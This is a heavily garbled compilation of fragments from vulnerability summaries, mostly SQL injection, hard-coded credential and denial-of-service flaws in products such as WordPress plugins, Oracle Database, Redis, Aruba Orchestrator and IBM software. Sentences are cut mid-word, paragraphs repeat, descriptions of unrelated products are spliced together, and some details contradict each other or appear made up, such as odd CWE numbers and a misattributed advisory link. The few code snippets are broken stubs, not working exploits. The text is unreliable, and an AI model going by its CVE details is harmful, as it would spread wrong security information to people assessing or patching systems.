sion 2.19.0 or later, which contains the fix for this vulnerability. Developers should also review their co

MongoDB .NET/C# Driver release notes on GitHub at <https://github.com/mongodb/mongo-csharp-driver>
A database could exploit an application that improperly serializes user-supplied data with `int` discriminators.

the base score, one would need to refer to official CVE databases such as the National Vulnerability Database ('CVE-2023-0895').

dPress.

dPress. It is caused due to insufficient escaping of the user-supplied 'id' parameter and the lack of sufficient validation in the WP Coder plugin for WordPress.

ative privileges on the WordPress site using the WP Coder plugin.

ferences, including the WordPress plugin changeset and the Wordfence threat intelligence vulnerability scanner. The attacker also assesses administrative access to the WordPress dashboard, injecting malicious SQL commands via the

.7, 8.8.0 through 8.8.11, 8.7.0 through 8.7.6, 8.6.0 through 8.6.5, 8.5.0 through 8.5.4, and 8.3.7.

VE-2022-40678.

d potentially recover user passwords.

<https://fortiguard.com/psirt/FG-IR-22-265>

uthorized access to sensitive information, account compromise, and potentially further attacks within the projects. Users should refer to Fortinet's official security advisories or contact Fortinet support for the latest details on 4.2.0. It is a 'use of password hash with insufficient computational effort' vulnerability, which is classified as FortiSandbox. With the database in hand, the attacker could undertake bulk guessing attacks due to 'insufficient computational effort' which is known in the CWE classification system as CWE-916.

In 4.2.0 or later, as this vulnerability has been addressed in these newer releases. Additionally, it would be recommended to use FortiSandbox 1.2.0. Fortinet's FortiSandbox is an advanced threat detection solution designed to identify and analyze

6. Abusing the vulnerability, testers were able to read local files remotely, albeit limited to one-line files.

ce time-series SQL database, affecting versions 2.8.0 through 2.9.2. The vulnerability stems from how d then convince a superuser to install TimescaleDB into their database. The exploit occurs because the ssed and fixed in version 2.9.3.

running the telemetry job to ensure it does not include schemas writable by other users. Additionally, ice for TimescaleDB, owing to additional security measures in place on these platforms.

attacker could potentially gain elevated privileges within the database, leading to unauthorized data access. A fix for this issue has been released and the source code is available for download and more information about the fix can be found at their official GitHub repository. To exploit this vulnerability, an attacker would need to create a custom function within a schema that they have write access to. Once the function is in place, it can be used to bypass security measures such as fileDB versions 2.8.0 to 2.9.2, the affected component (telemetry job during installation), and the way in which the function is triggered.

uthenticated attacker with minimal privileges to access all the confidential data stored in the database
bility referenced by CVE-2023-0019.

ort portal and documents. The relevant references are: <https://launchpad.support.sap.com/#/notes/3>
imited permissions accessing the vulnerable SAP GRC (Process Control) function module remotely. The
droid app's `FileContentProvider.kt` file, specifically in version 2.21.1.

se was deprecated in version 3.0, but injections affecting the `owncloud_database` remain relevant as
SQL injection, which compromises the confidentiality of data stored in the affected databases.

nd `owncloud_database` within the ownCloud Android app.

ub Security Lab at https://securitylab.github.com/advisories/GHSL-2022-059_GHSL-2022-060_Owncl
put data that is improperly sanitized or escaped, an attacker could execute arbitrary SQL commands, le

alog on Cloud Pak for Data version 4.5.0. It involves a SQL injection flaw that could be exploited by a re
d Pak for Data, specifically version 4.5.0.

gements to the vulnerable IBM Watson Knowledge Catalog application. If not properly sanitized, thes
by the IBM X-Force ID 237402 and the official IBM support page that provides details on the vulnerabilit
, add, modify, or delete data in the back-end database of the IBM Watson Knowledge Catalog on Cloud
e IBM X-Force Exchange page and the official IBM support page for this specific vulnerability. Links to

ata should apply any available patches or follow guidance provided by IBM. It's important to regularly i
otual example of code vulnerable to SQL injection might resemble the following: ``python# Hypothetic
ous SQL statements that are injected through user input fields such as search boxes or data fields in w
s (version 3.11.4 and prior) and SupportAssist for Business PCs (version 3.2.0 and prior). This vulnerabi
Assist for Business PCs up to version 3.2.0.

of sensitive data exposure.

cess to a system that runs a vulnerable version of Dell SupportAssist. They could then leverage this vuln
<https://www.dell.com/support/kbdoc/000204114>. This reference includes guidance for mitigation and

nt to prevent misuse. However, vendors such as Dell and cybersecurity researchers might provide proo
cess to a user's machine, such as through social engineering or using a pre-existing compromised accou
particularly related to the sanitization of comments. The issue exists in versions prior to 6.0.6.1, 6.1.7.
method, `optimizer_hints` query method, or through the QueryLogs interface in ActiveRecord. Due to ir

e to improper sanitization of user input: ````rubyuser_input = params[:comment] # User-supplied dataU
wers of affected versions are recommended to upgrade to these versions to mitigate the vulnerability.
a discussion on the Ruby on Rails forum (<https://discuss.rubyonrails.org/t/cve-2023-22794-sql-injectio>
ers may read sensitive data from the database, modify database data (Insert/Update/Delete), execute
ons prior to R 4.2-07. This flaw was noted for missing proper authentication mechanisms when creatin

creating and managing the B&R APROL database. Attackers could exploit this vulnerability to gain acc
ning these affected versions are vulnerable to the security issue described.

by B&R Automation at: https://www.br-automation.com/downloads_br_productcatalogue/assets/16
ments regarding the severity of the vulnerability might be pending or not disclosed at the time of pub

by connecting to the database management interface of an affected B&R APROL system without any configurations, unauthorized reading of sensitive information, and the altering of significant operational data. These stored in cleartext in the database during the OAuth2 setup procedure in versions prior to 2.2.

urity issue described by CVE-2023-23944.

The suggested action is to upgrade the Nextcloud Mail app to the patched version. Access to the database where Nextcloud Mail app is storing user passwords in cleartext. If the attacker can gain access in cleartext that could lead to account takeovers, data breaches, and unauthorized access to sensitive data which include a GitHub pull request at <https://github.com/nextcloud/mail/pull/7797>, a Nextcloud security issue with ID #42973.

hard-coded Credentials.

ire and Schneider Electric Easy UPS Online Monitoring Software on multiple Windows operating systems. An unprivileged local attacker who connects to the database to gain higher privileges than they are entitled to. Upgrading Software and Schneider Electric Easy UPS Online Monitoring Software to version V2.5-GA, V2.5-GA-02-42973.

PDF at the following link: https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2022-347-01&p_enDocType=1. An unprivileged local attacker running the vulnerable UPS monitoring software could use the hard-coded credentials to log into the database.

uthorized Actor vulnerability.

to the server over the database server TCP port.

This vulnerability was previously known as ClearSCADA, and it affects versions prior to October 2022.

available at: https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2023-010-02&p_enDocType=1.

rafted messages to the affected Geo SCADA Expert server over its database server TCP port. This action can result in a Denial of Service (DoS) condition for the Geo SCADA server when specifically targeted.

This vulnerability can result in a Denial of Service (DoS) condition for the Geo SCADA server when specifically targeted. It is commonly known as CWE-863.

at the following URL: https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2023-010-02&p_enDocType=1, and it is noted as 'N/A' (not available).

incorrect authorization vulnerability by sending specific crafted messages to the Geo SCADA server over its database server, code examples highlighting the exact exploit may not be publicly available due to the restricted nature of the documentation. The issue has been assigned the identifier CWE-24829.

E-2023-24829.

I23-24829.

from version 0.13.3 of the iotdb-web-workbench component.

available at <https://lists.apache.org/thread/10b59hh046tyn4gqot0bdrpg8gxlksmo>.

This issue affects the iotdb-web-workbench component.

A user gaining access to functionalities that should require authentication and in turn, could lead to unauthorized access. This security flaw may lead to possible remote code execution if an attacker has write access to the system, which is not vulnerable to this specific deserialization issue.

1 by an attacker who has access to create or configure data sources in the system. This can lead to the :
the link to the thread is <https://lists.apache.org/thread/zlcfmvt65blqc4n6fxypg6f0ns8fqfz4>.

e access to a database. The attacker could configure a new datasource within Apache Linkis to use a m
be blacklisted to avoid injection of malicious parameters that could lead to deserialization of untrusted
is not available at the moment.

nction. This vulnerability arises from insufficient validation of user input, allowing an unauthenticated

orly sanitize and validate user inputs, thereby allowing an attacker to inject and execute arbitrary SQL
tion's insufficient validation procedures. For example, if the login function is expecting a username and
t been assigned a score at the time of publication or the source doesn't have this information.

or specialized cybersecurity websites. One such reference is provided by the Taiwan Computer Emerge
ntification requests to the Efence login function. Since the function has insufficient validation of user in
r PostgreSQL that enables connection pooling, load balancing, and more. The vulnerability pertains to
4.1 in the 4.4 series, 4.3.0 to 4.3.4 in the 4.3 series, 4.2.0 to 4.2.11 in the 4.2 series, 4.1.0 to 4.1.14 in tl
e attacker who has successfully logged in using obtained credentials being able to alter information stc
ites provided by the Pgpool-II developers as soon as they are available. Users should monitor the offic
Japan Vulnerability Notes (JVN) and the official Pgpool-II website. The references listed are: <https://jvn.jp/en/vu/>
ess to the credentials of a database user, perhaps through SQL injection or other methods of subvertin
I32. It's common for newly identified vulnerabilities to await further analysis before a base score is pul
IS) Ver.3.5.0 and earlier versions. This vulnerability allows a remote, authenticated attacker to execute
e an attacker might obtain sensitive data stored in the database, potentially leading to unauthorized c

ies and updates provided by Contec, the vendor of CONPROSYS HMI System. They should ensure that :
the vulnerability can be found at the Japan Vulnerability Notes (JVN) website at <https://jvn.jp/en/vu/>.
malicious SQL queries that are then inserted into the database query inputs of the CONPROSYS HMI S

tests-passed` branches are affected by CVE-2023-23616.

en submitting a membership request, which could potentially allow a user to flood the database with
characters for membership requests, starting in version 3.0.1 on the `stable` branch and 3.1.0.beta2 o
since the paths reading back the reasons are only available to administrators, therefore limiting the e

//github.com/discourse/discourse/commit/3e0cc4a5d9ef44ad902f6985d046ebb32f0a14ee- https://gi
ubmitting membership requests with excessively large reasons. Although this is unlikely to result in a C

ere is no password requirement to access logs, as well as certain database and configuration files in re
vulnerability.

version later than 3.2.23 to mitigate the vulnerability associated with the lack of password protection

access to sensitive information, such as MD5 hashed passwords and usernames for all users, which can

log files and certain database and configuration files without needing a password. This could allow the attacker to gain access to the KeePass XML configuration file on a victim's computer. Once they have that access, they can add or modify entries in the configuration file. It is indicated that the security of the password database is not intended to withstand an attacker who has physical access to a victim's computer or has compromised the computer through malware or remote access. The system's file system permissions are set correctly to restrict write access to the KeePass XML configuration file.

ng the discussion on the official KeePass forum and security advisories. A couple of references to consider: This vulnerability allows authenticated users to cause a denial-of-service by crashing Redis via an assertion failure. Versions 6.0.17, 6.2.9, and versions 7.0 up to but not including 7.0.8.

, 7.0.8, or any later version that includes a fix for the vulnerability. No known workarounds exist, so upgrading to a version of Redis that includes the necessary patches to fix the vulnerability. An attacker can exploit this by causing Redis to crash with an assertion failure through the use of specially crafted arguments in the command line.

commit addressing the issue: <https://github.com/redis/redis/commit/16f408b1a0121cacd44cbf8aee2>. An unauthenticated user could exploit the vulnerability by sending a `HRANDFIELD` or `ZRANDBY` command to Redis. An attacker would need authentication credentials to issue the `HRANDFIELD` or `ZRANDBY` command. The nature of the assertion failure is not specified in the CVE description, but it is typically indicative of a crash.

/ crafted `SETRANGE` and `SORT(_RO)` commands which can trigger an integer overflow. This may cause a denial-of-service. Users running earlier versions of Redis are advised to upgrade to one of these versions to mitigate the risk. The recommended solution is to upgrade to one of the fixed versions: 7.0.8, 6.2.9, or 6.0.17.

s:- Redis commit fixing the issue: <https://github.com/redis/redis/commit/1ec82e6e97e1db06a72ca50>. An attacker can exploit this by crafting a `SETRANGE` or `SORT(_RO)` command that causes an integer overflow. This would lead to a Denial of Service (DOS) or a Denial of Analyzer (DPA) software version 2022.4 and older. The vulnerability concerns authenticated reflected queries or versions of the software.

ring resources: SolarWinds' official security advisories at <https://www.solarwinds.com/trust-center/security-advisories>

ous URL containing JavaScript code that exploits the authenticated reflected XSS vulnerability. When a user visits a malicious URL, the application will execute the provided JavaScript code. This can be used to exploit the application as a low-privileged user and sending crafted SQL queries to manipulate the system's data in the underlying database of the affected Cisco Unified CM or Unified CM SME systems. This may result in a denial-of-service or a privilege escalation.

ry at the following URL: <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisories>. An attacker can exploit this vulnerability by accessing the web interface and injecting malicious SQL commands to extract data such as user passwords or other sensitive information from the database.

available for exploiting CVE-2023-20010. Exploitation would involve crafting custom SQL statements based on the user input.

jection, which occurs due to insufficient validation of HTTP header field values.

header field values without prior sanitization, such as placing usernames from a database into HTTP header fields. This can result in various types of errors, other misbehaviors, or attackers manipulating HTTP requests by injecting new header fields or modifying existing ones.

unintended behaviors which include the possibility of logical errors and misinterpreted requests by the

[.com/swift-server/async-http-client/security/advisories/GHSA-v3r5-pjpm-mwgq](https://www.swift.com/swift-server/async-http-client/security/advisories/GHSA-v3r5-pjpm-mwgq).

HTTP Client or later, where the vulnerability has been addressed. It is also essential to ensure proper function described in CVE-2023-0040 if the `username` variable is not properly sanitized: ``swiftlet client = `` with CRLF characters followed by an additional malicious header field, which the server interprets as a user agent (RTLS) Studio versions from 2.0.0 up to and including 2.6.2. The issue is due to the presence of hard

code which allows a remote attacker to utilize hard-coded passwords to log into the database. This breach gives users access to the affected applications' database to gain unauthorized access. This could be done remotely and usually assigned by the Common Vulnerability Scoring System (CVSS) to indicate the severity of the vulnerability. The vendor, Sewio, has released a patch for the issue. Additionally, users should follow the vendor's recommendations to mitigate the risk.

The vendor, Sewio, has released a patch for the issue. Additionally, users should follow the vendor's recommendations to mitigate the risk. The issue is due to the presence of hard-coded passwords in the RTLS Studio database using the hard-coded credentials. Once inside, the attacker could steal sensitive information via TCP/IP.

access via TCPS.

oit the vulnerability addressed in CVE-2023-21893.

ver of Oracle Data Provider for .NET.

tform.

.893.

<https://www.oracle.com/security-alerts/cpujan2023.html>.

the Oracle Data Provider for .NET. The attack would be difficult to engineer and would require user interaction with the Oracle Database Server. It affects supported versions 19c and 21c and allows a low privileged user to gain administrative privileges.

te Session' privilege, along with network access via Oracle Net.

ul exploitation of CVE-2023-21829.

tion, or modification of critical data, as well as unauthorized read access to a subset of Oracle Database components. It impacts the confidentiality and integrity of the system.

'A:N).

security alert at <https://www.oracle.com/security-alerts/cpujan2023.html>.

Session' privilege exploiting the vulnerability over a network via Oracle Net. They may deceive a data component of Oracle Database Server, specifically affecting versions 19c and 21c. It is an easily exploited vulnerability.

nd network access via Oracle Net.

a subset of data accessible by the Oracle Database Data Redaction component.

iarly impacting the confidentiality of the system.

which decodes as the vulnerability being network exploitable (AV:N), with low attack complexity (AC:L)

following URL: <https://www.oracle.com/security-alerts/cpujan2023.html>.

This vulnerability allows an attacker to gain the Create Session privilege. By exploiting this vulnerability, the attacker could manage to bypass necessary privileges and network access to read data that should be redacted. This breach in confidentiality is identified by the reference 'E-2022-39429.'

with the 'Create Procedure' privilege.

bility.

causing a partial denial of service (partial DOS) of the Java VM within the Oracle Database Server. This is particularly related to availability.

which implies that the vulnerability can be exploited over the network (AV:N), the attack complexity is

Oracle at: <https://www.oracle.com/security-alerts/cpujan2023.html>.

'Create Procedure' privilege exploiting the vulnerability to launch a denial of service attack. For instance, the 'Active Directory and OpenLDAP - NTLM & Kerberos Login' extension. This extension is vulnerable to LDAP injection. An attacker can inject and execute unintended LDAP commands in the input parameters. Additionally, developers should consider sanitizing user input. Users should check the extension's official documentation or the link provided in the release notes for more information. Constructors should use safe LDAP (Lightweight Directory Access Protocol) statements based on user input. If the application expects a specialized 'username' input that includes LDAP syntax intended to alter the constructed LDAP query, it should be sanitized before being sent to an LDAP database. By exploiting the LDAP Injection vulnerability, an attacker may be able to manipulate the LDAP query.

tion: <https://extensions.joomla.org/vulnerable-extensions/resolved/ldap-integration-with-active-directory>

id1/id2 in some unknown processing of the file Data/views.py, leading to an SQL injection attack.

The identifier of the patch is 829a027aca7c17f5a7ec1addca8dd5d5542f86ac.

<https://github.com/MNBikeways/database/commit/829a027aca7c17f5a7ec1addca8dd5d5542f86ac>.

417.

A technical code example of an SQL injection could be as follows: Suppose the application constructs SQL commands using 'id1' and 'id2' arguments in the Data/views.py file. They could craft malicious input to perform an SQL injection attack.

e.

An authenticated user with database connection update permissions in Apache Superset.

ng list archives at <https://lists.apache.org/thread/8615608jt2x7b3rmqrtnldy8pn3nz2r>.

ever, exploiting this kind of vulnerability typically involves injecting malicious scripts into fields that accept user input. For example, if an attacker injects a malicious script into a data form field, which is then saved and rendered on the page without proper sanitization, it can lead to a security breach. In the case of Apache Superset, this vulnerability allows an authenticated user with read access to a specific database to inject malicious SQL queries.

Access to the database in question within Apache Superset.

ccess to sensitive data. By injecting subqueries into the WHERE and HAVING clauses, an attacker with i

ck scenarios include an authenticated user manipulating input fields in the SQL Alchemy connector to i
vided in the reference link: <https://lists.apache.org/thread/g7jjw0okxjk5y57pbbxy19ydw42kqcos>
that patches this vulnerability. Since the details of a fix are specific to post-knowledge cutoff developm

.1.

in the function processOrderBy.

: database to version 2.13.2, which includes a patch for the issue.

fb5b4444ed451c1b21d125a.

.5020, such as the commit on GitHub that contains the patch, release notes for the updated version, ar
k on applications using the liftkit database. This can lead to unauthorized disclosure of data, data corr
utilizing the CVE-2016-15020 vulnerability would likely involve an attacker crafting malicious inputs suc
and release tags that documented the fix for the vulnerability, as well as entries in vulnerable databas

style organization tool that is part of the Nextcloud suite. The vulnerability can potentially cause a Den
Cloud Deck application intentionally and repeatedly. The specifics of the database error aren't provided
the provided information, but updates that fix the vulnerability have been released. Users are recom
ersion 1.6.5, 1.7.3, or 1.8.2, as these versions contain the necessary fixes to address the vulnerability.

E-2023-22470. Upgrading to a fixed version of the Nextcloud Server is the recommended solution.

he GitHub pull request at <https://github.com/nextcloud/deck/pull/4059> and the Nextcloud security ad

f APOC (Awesome Procedures on Cypher) plugins for the Neo4j Graph database. This vulnerability cou
3.1.

: an arbitrary Cypher query within the Neo4j Graph database. They could gain this ability through direc
that are permissible to be used, or disable local file access by setting 'apoc.export.file.enabled' to 'fals
ation by a malicious user. While files cannot be overwritten, the creation of files in unintended directo
ample would involve an attacker crafting a Cypher query using the 'apoc.export.csv.query' procedure '

t <https://github.com/neo4j-contrib/neo4j-apoc-procedures/commit/01e63ed2d187cd2a8aa1d78bf83>

discussion becoming 'null' when the first post is permanently deleted, which results in skipping access
leted can exploit the vulnerability, even if they don't have a validated email. However, guests cannot s
discussions. Additionally, it can be used to initiate unsolicited email notifications if combined with Fla

in Flarum/core v1.6.3. All Flarum communities are advised to upgrade to this version as soon as poss
ading to Flarum/core v1.6.3 is the recommended solution.

pository or via its security advisories.

en removed while the thread remains visible. The attacker could then post replies without proper per
oller (BMC) software used by NVIDIA. The vulnerability is such that user passwords are stored in an obf
orm. Obfuscation is not as secure as encryption, meaning while the passwords are not stored in plain t

of the provided information. page at the following URL: https://nvidia.custhelp.com/app/answers/detail/a_id/5435 rized access to the host system and is able to reach the database where the obfuscated passwords are changes the way passwords are stored, moving from obfuscation to secure encryption. Additionally, as a building community platforms. This vulnerability allows one to read restricted or private content ths restricted/private content. The notification-sending component fails to check the visibility of the posts awaiting approval, posts in tags to which the user has no access, and posts that are restricted by th

has been published as flarum/core v1.6.3, and it is recommended for all Flarum communities to upgrade Subscriptions extension or disable email notifications altogether. However, these are not fully supported and advisory. The references are: - <https://github.com/flarum/framework/commit/d0a2b95dca57> discussion in a Flarum forum and then using the Subscriptions extension to receive email notification plugin for WordPress, where the plugin is prone to a SQL Injection attack through the 'orderby' para

nerable to CVE-2023-0254.

CVE-2023-0254.

In additional SQL queries to existing ones in the database, potentially leading to unauthorized access to this type of SQL injection would involve an attacker constructing a malicious request that includes

which include a link to the WordPress plugin changeset at '<https://plugins.trac.wordpress.org/changesets/1023>'. Changes like CVE-2023-0254 are addressed by the plugin developers in a subsequent update. Users should consider online communities. It is related to the mentions feature provided by the flarum/mentions extension other posts using the special syntax `@<username>"#p<id>'. This leaks information about posts a

flarum/core v1.6.3, has been published to address the issue.

In order to prevent the exploitation of the vulnerability until they are able to update to the fixed version, flarum users could gain unauthorized access to the content of all forum posts, including those not yet approved or rejected. The specific commit addressing the vulnerability is available at <https://github.com/flarum/framework/commit/d0a2b95dca57>. It relates to a SQL injection flaw that allows a remote attacker to send crafted requests to the affected IBM Sterling Partner Engagement Manager application. If the application does not properly validate input in the database, adding fraudulent data, modifying existing data, or even deleting critical data, particularly versions 6.1, 6.2, and 6.2.1.

IBM users should apply patches or updates provided by IBM as soon as possible. Users should also review the patch details at <https://www.ibm.com/support/pages/node/6854333> and on the IBM X-Force Exchange at <https://exchange.xforce.ibmcloud.com/vulnerabilities/CVE-2023-0254>.

Travel Support Program, a Rails application that helps manage travel assistance for the openSUSE project. This vulnerability allows an attacker to search for travel requests using crafted search queries. The commit d22916275c51500b4004933ff1b0a69bc807b2b7 are affected by CVE-2022-46163.

Travel Support Program to include the patch referenced by the commit d22916275c51500b4004933ff1b0a69bc807b2b7. The patch is a fix for a search functionality vulnerability in Rails 5.0, which involves several other pull requests. This makes the single patch insufficient for preventing attacks. An attacker can make multiple crafted requests to the application's search functionality. By performing a systematic

's used by Ransack. Suppose there is a user model with a bank_account attribute. An attacker might craft a specially crafted payload to trigger a use-after-free error in the Cart feature. This issue was present in versions of Chrome prior to 109.0.5414.

extension. Once installed, the extension might corrupt the browser's database and use a specially crafted payload to trigger a use-after-free error in the Cart feature. This issue was present in versions of Chrome prior to 109.0.5414.74 or later where the issue has been resolved. It's important to keep browsers and other software up-to-date.

The Chrome Releases official blog post: <https://chromereleases.googleblog.com/2023/01/stable-channel.html>. This indicates that the vulnerability presents a considerable risk, but it is not considered critical. Versions before this update are vulnerable to the described use-after-free issue.

A malicious Chrome extension that targets the Cart feature's use-after-free vulnerability. The attacker then uses this exploit to gain unauthorized access to the user's account.

CVSS Score is typically part of the Common Vulnerability Scoring System (CVSS) which provides a way to compare the severity of different vulnerabilities. For this issue, the CVSS score is 7.2, indicating a moderate level of severity.

This issue was first reported in January 2023 and was fixed in version 109.0.5414.74 or later.

Slow database queries.

Slow database queries, which could lead to a denial of service.

<https://fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/AP65YEN7621> A remote attacker could cause a denial of service by slowing down the database with extensive queries.

Specific code examples detailing the vulnerability are not provided here. However, the exploit likely involves SQL injection. SAP BPC MS (Business Planning and Consolidation, version 10.0) is a Microsoft platform. SQL injection is a code injection technique that might allow the attacker to execute arbitrary SQL commands on the SAP system's backend database. This could result in sensitive data exposure, data integrity compromise, and denial of service. Users and administrators of affected SAP BPC MS 10.0 installations should apply the provided fix. The referenced resources include the SAP Note available at <https://launchpad.support.sap.com/#/notes/00000000000000000000000000000000>.

The function DatabaseForRegion within the file regionscrits.php. This vulnerability allows for SQL injection. It is strongly advised to update the opensim-utils with this patch to fix this unique bug. It is essential to update the opensim-utils with this patch to fix this unique bug. It is described as critical, but without a specific base score from sources like the Common Vulnerability Scoring System (CVSS).

CVSS Score: 7.2

This issue was first reported in January 2023 and was fixed in version 109.0.5414.74 or later.

This issue resides in an unspecified part of the databaseAccessFunctions.js file, where an attacker can manipulate the database.

out-tracker, referenced by the commit hash b4bc1a328b1f59437db159f9d136d9ed15707e31. <https://github.com/Seiji42/cub-scout-tracker/commit/b4bc1a328b1f59437db159f9d136d9ed15707e31> tickers injecting malicious SQL queries into the databaseAccessFunctions.js file. This could result in numerous security issues, including compromise of the database integrity, confidentiality, and availability.

?3.

mation disclosure. The issue arises when using the EXPLAIN command; query results might be included in the results of a query when the EXPLAIN statement is executed. This exposure might reveal information about the query plan.

Users running PgHero 3.1.0 or later are not affected by this specific vulnerability.

atabase user's privileges. If the user has restricted privileges, only information from the database may

er, where the vulnerability has been fixed. This update should prevent the information disclosure issue could be leaked through error messages when certain database commands are executed.

<https://github.com/ankane/pghero/issues/439>, which provides additional details about the vulnerability. pgHero executing the EXPLAIN command on a query. Due to the vulnerability, the error message generated by PostgreSQL is leaked, revealing the internal structure of ClearPass Policy Manager. It allows an authenticated remote attacker to perform SQL injection attacks against the database. This issue affects versions 6.9.x: 6.9.12 and below.

information in the underlying database, which could lead to a complete compromise of the ClearPass Pro system.

the web-based management interface of ClearPass Policy Manager to perform SQL injection attacks.

attack. However, such an attack generally involves the attacker submitting crafted input into form fields on Aruba Networks for affected ClearPass Policy Manager versions. Ensuring that only trusted users have obtained valid credentials to access the web-based management interface. They could use those credentials to gain unauthorized access to sensitive information in the underlying database of ClearPass Policy Manager versions up to 6.9.12. Any instances running these versions or below are vulnerable to the security issue CVE-2022-43530 and apply necessary updates or patches. Typically, updating to a version of ClearPass Policy Manager not yet assigned to it. This could be due to various reasons like pending analysis or the score being under reassessment. The details, including the description and the affected versions, were published by Aruba Networks in a security advisory available at <https://www.arubanetworks.com/security-advisory/ClearPassPolicyManager>. The attacker could exploit the web-based management interface of Aruba EdgeConnect Enterprise Orchestrator. These vulnerabilities could allow an attacker to inject SQL queries into the system, leading to unauthorized access, reading, and modification of sensitive information within the database used by Aruba EdgeConnect Enterprise Orchestrator. The severity and its potential impact were disclosed in a security advisory available at <https://www.arubanetworks.com/security-advisory/ArubaEdgeConnectEnterpriseOrchestrator>.

lizing the web-based management interface of an affected Aruba EdgeConnect Enterprise Orchestrator
:VE-2022-43522.

EdgeConnect Enterprise Orchestrator.

injection attacks against the Aruba EdgeConnect Enterprise Orchestrator instance. ded information.

include: Orchestrator 9.2.1.40179 and below, Orchestrator 9.1.4.40436 and below, Orchestrator 9.0.7 and below: <https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2022-021.txt>.
ing the SQL injection vulnerabilities in the web-based management interface. The attacker could use the web-based management interface of Aruba EdgeConnect Enterprise Orchestrator. These vulnerabilities affect: versions 9.2.1.40179 and below, 9.1.4.40436 and below, 9.0.7.40110 and below, 8.10.23.40015 and below. Utilize SQL queries to obtain or modify sensitive information from the underlying database. This could be found at the following URL: <https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2022-021.txt>

urface of Aruba EdgeConnect Enterprise Orchestrator in order to exploit CVE-2022-43521.
ould log in to the web-based management interface of an affected version of Aruba EdgeConnect Enterprise Orchestrator. These vulnerabilities could enable an attacker to gain access to the web-based management interface of Aruba EdgeConnect Enterprise Orchestrator 9.1.4.40436 and below, Orchestrator 9.0.7.40110 and below, Orchestrator 8.10.23.40015 and below. Upon gaining access, they can perform SQL injection attacks by sending malicious SQL queries through the web-based management interface of the Aruba EdgeConnect Enterprise Orchestrator. This could potentially lead to unauthorized access and manipulation of data stored in the underlying database of the Aruba EdgeConnect Enterprise Orchestrator. This could potentially lead to unauthorized access and manipulation of data stored in the underlying database of the Aruba EdgeConnect Enterprise Orchestrator.

following URL provided by Aruba Networks: <https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2022-021.txt>.
valid authentication credentials for the Aruba EdgeConnect Enterprise Orchestrator interface. Using these credentials, the attacker can gain access to the web-based management interface of the Aruba EdgeConnect Enterprise Orchestrator. This implies that the attacker can perform SQL injection attacks against Aruba EdgeConnect Enterprise Orchestrator instances.

Orchestrator 9.2.1.40179 and below, Orchestrator 9.1.4.40436 and below, Orchestrator 9.0.7.40110 and below, and below. Utilizing the vulnerabilities in the web-based management interface to perform SQL injection. This could be achieved by sending malicious SQL queries through the web-based management interface of the Aruba EdgeConnect Enterprise Orchestrator instances.

ed by Aruba Networks: <https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2022-021.txt>.
security advisory from Aruba Networks and apply the necessary updates or patches to mitigate the vulnerability.

ed Edition is CVE-2022-22338.

on versions 6.0.0.0 through 6.1.2.1.

enable the attacker to view, add, modify, or delete information in the back-end database.

SQL statements to the vulnerable IBM Sterling B2B Integrator Standard Edition software.

change at <https://exchange.xforce.ibmcloud.com/vulnerabilities/219510> or on IBM Support's webpage or sending an email with malicious SQL code. When an unsuspecting user with access to the application runs a query, it's processed by IBM for Sterling B2B Integrator Standard Edition as soon as they become available. It's also advised to use the parameter of EasyTest, a software application. This vulnerability arises from the application not adequately validating user input.

could inject arbitrary SQL commands. This would potentially allow the attacker to compromise the integrity of the system.

Emergency Response Team (TW-CERT) website at the following URL: <https://www.twcert.org.tw/tw/cp>

ed authentication credentials to EasyTest as a general user. The attacker could then manipulate the insecurity flaw that occurs when malicious SQL statements are inserted into an entry field for execution in which involves insufficient user input validation for a specific API parameter. This flaw could allow an un

from insufficient validation of user inputs for certain API parameters in the aEnrich a+HRD software.

mands through the insufficiently validated API parameter. This is often done by including SQL syntax in a SQL injection described in CVE-2022-39041: ``pythonimport sqlite3# Assume user_input comes from https://www.twcert.org.tw/tw/cp-132-6794-35928-1.html

specially crafted HTTP requests to the vulnerable API endpoint of the aEnrich a+HRD software. By manipulating the specially crafted URL to a user, which when visited, would execute the attacker's code in the user's browser.

This issue refers to a DOM-based cross-site scripting (XSS) issue that was discovered on the plugin database version 3.2.2.

This issue occurs within the Document Object Model (DOM) of a web page.

on the plugin database execution page of the WeCube platform. This could allow an attacker to inject a link to the WeCube platform's GitHub repository (<https://github.com/WeBankPartners/wecube>) containing JavaScript code and then tricking a user into clicking on it. When the unsuspecting user visits a specially crafted URL to a user, which when visited, would execute the attacker's code in the user's browser function in TrueConf Server version 5.2.0.10225. This vulnerability enables a low-privileged database user to escalate their privileges to that of the database administrator and execute arbitrary SQL commands. The public repo with public CVE submissions: https://github.com/sldlb/public_cve_submissions/blob/main/CVE-2022-39041.md. The Common Vulnerability Scoring System (CVSS) score has not been provided or calculated for this vulnerability at the time of writing.

TrueConf Server version 5.2.0.10225. This user could exploit the SQL injection vulnerability in the TrueConf Server database to escalate their privileges to that of the database administrator and execute arbitrary SQL commands. The public repo with public CVE submissions: https://github.com/sldlb/public_cve_submissions/blob/main/CVE-2022-39041.md. The Common Vulnerability Scoring System (CVSS) score has not been provided or calculated for this vulnerability at the time of writing.

WordPress plugin versions before 19.1.5.1.

The 'cg_multiple_files_for_post' POST parameter is not properly escaped before being included in an SQL query, which could potentially allow malicious users to gain administrator-level privileges on the WordPress site.

Administrators with author privileges sending a specially crafted request to the WordPress site with a malicious 'addCountS' POST parameter to the 'Contest-Gallery' or 'Contest-Gallery Pro' plugin before version 19.1.5.1. This vulnerability arises from the plugin's failure to properly escape the 'cg_multiple_files_for_post' POST parameter before concatenating it to an SQL query, which could lead to unauthorized database access.

Administrators with author privileges sending a specially crafted request to the WordPress site with a malicious 'addCountS' POST parameter to the 'Contest-Gallery' or 'Contest-Gallery Pro' plugin before version 19.1.5.1. This vulnerability arises from the plugin's failure to properly escape the 'cg_multiple_files_for_post' POST parameter before concatenating it to an SQL query, which could lead to unauthorized database access.

Administrators with author privileges sending a specially crafted request to the WordPress site with a malicious 'addCountS' POST parameter to the 'Contest-Gallery' or 'Contest-Gallery Pro' plugin before version 19.1.5.1. This vulnerability arises from the plugin's failure to properly escape the 'cg_multiple_files_for_post' POST parameter before concatenating it to an SQL query, which could lead to unauthorized database access.

